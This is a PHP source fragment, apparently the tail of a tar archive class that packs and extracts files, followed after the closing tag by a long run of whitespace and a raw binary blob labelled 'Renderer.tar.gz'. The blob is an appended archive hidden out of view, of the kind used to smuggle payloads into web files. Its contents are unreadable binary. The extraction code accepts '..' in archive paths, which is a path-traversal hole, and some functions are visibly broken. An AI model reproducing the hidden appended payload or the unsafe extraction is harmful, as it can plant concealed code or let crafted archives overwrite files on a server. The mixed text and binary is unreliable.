				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
!zAq6שd{3zHe?z;(S^D/..v䓱.	A_xgmd9#8VZSGS %;+"\Clk=47ٛ6i^Xyca7[כ|<1p2'1Iin<McYIF~vЙ6/lKw(LĶmiܽ泲l+vԌcewFFFWT`(}4%5s/fuw!T|rbq<A :])+bMG3,r尉Bhg8Ǟ."TvQ:yC/\RNjJRN?l;T;@r/4'lI^Χ9pvb"W؎M[Oa(}VR=̱'qEDjR0qwuN>-mˬq#N4;^p%TLPTY(頮B1ilqMdJϲﲛ^y"{푈▶Db*jH堑giӉ$Lsnv4,2M>*=_-P:=̼ tݽ=H"wta[C3tu+9tlB))z`ݞ).uLWcuo,	C.^]l1+X5td߱}\cR	e.sAo.?>q\PT>眊kыC*s9"㿔z]|xqFK낯%l2pe,fԫuܛi
}Ɇaajj*cYaLۆCùslP?Wv+9I<$q؇5ɨ>pH	01aH)0(J4xҝ/esBSk"t$-~nUAHX ._o܏(>{|ajϛs.G.̎~a/ufNsXF}!
Ϲ[L{c
EU`_*+֞Ͳ|tHY׬4JP=ܝBf6iv%Нi3X>'0mcVQg"SE8t>dbgo&#Qoot̤kɺ<GgJF|̉A|kרЛv4P{wk} SN։G:Wg>@_}0{i!RYKɴunɗ#OtDF޶<yl(#;vMi~%=я\yIV݅Wm:s9j[i$ah<l#.k/'2ԡk>R!/2^O.lv	Fr~K
:zyH2<'ZC|,3\s͉Օ+fܺbs*9}:OC
gCowן7)o7Tؼ@{os顬0һA&{,b\ݍ5<z6SE8ǁScǦ:M)jE;m}3H_;"aث%^Ydw~Hn[WHU9i)+[<tj^Q>='e%㕜Iq#SYw1j
݄z&&o48)M?W93~P~]!GPIb	of2dD_$E//e:q">=<r6?q|`/ɒE߽II[~o;keNQ3[>9v_;J2HWk(i'jhKvK0&rQ\҅Y#Pޡ1U;MOe˳֞Vh{MDpcMZV1Z"rB\.Xm5g'K8x)d$b)kk`eJ!uȉ[ucY㧨%Oܵtƾ:/Xy=Ou!^.tcIuŏU-E&|Jlfoܹ>lo=۶5ētu!/[R[qmB qcz_tOվM:㊖[uۻgwL1xFpz7d}jkl{!D)<7kdFt,?rC[Y+|^,H-FSϫH'YyIN,Z۲)zJb57lˎi[DaR\(-/VC$+_Q(t^rĴsU%+{&.=Tcїu0(Ԏ$]ҽ*=AE_-r*ޑ@Ikm᜔$1؄S<0 Wx:9Hn&%f=uۍ0X'uDVgp|I>d$=;ⴤZ@EO4Ti/݊nL6G0))c\9-n?Q{.E[9Wh=m_}|Cޅm#ODIXƲd)Uνb0<Rc$<|;7KЧN	ZFÖ}W[m'%5^A~}Z}Sg@$B]1\T[fW/Ye7j̊tlQvbws.{,Cq`)(85|W<ŭKpۼY	cyD}{HXuy87J̈;٩&l0>Y;̼{M|aTp|:&W7Tjp(t=fHF%pUY=ahkOz{,4N?2C|۲z,xHv(tKH5HA"W՚lqDj׈-򨯊\lf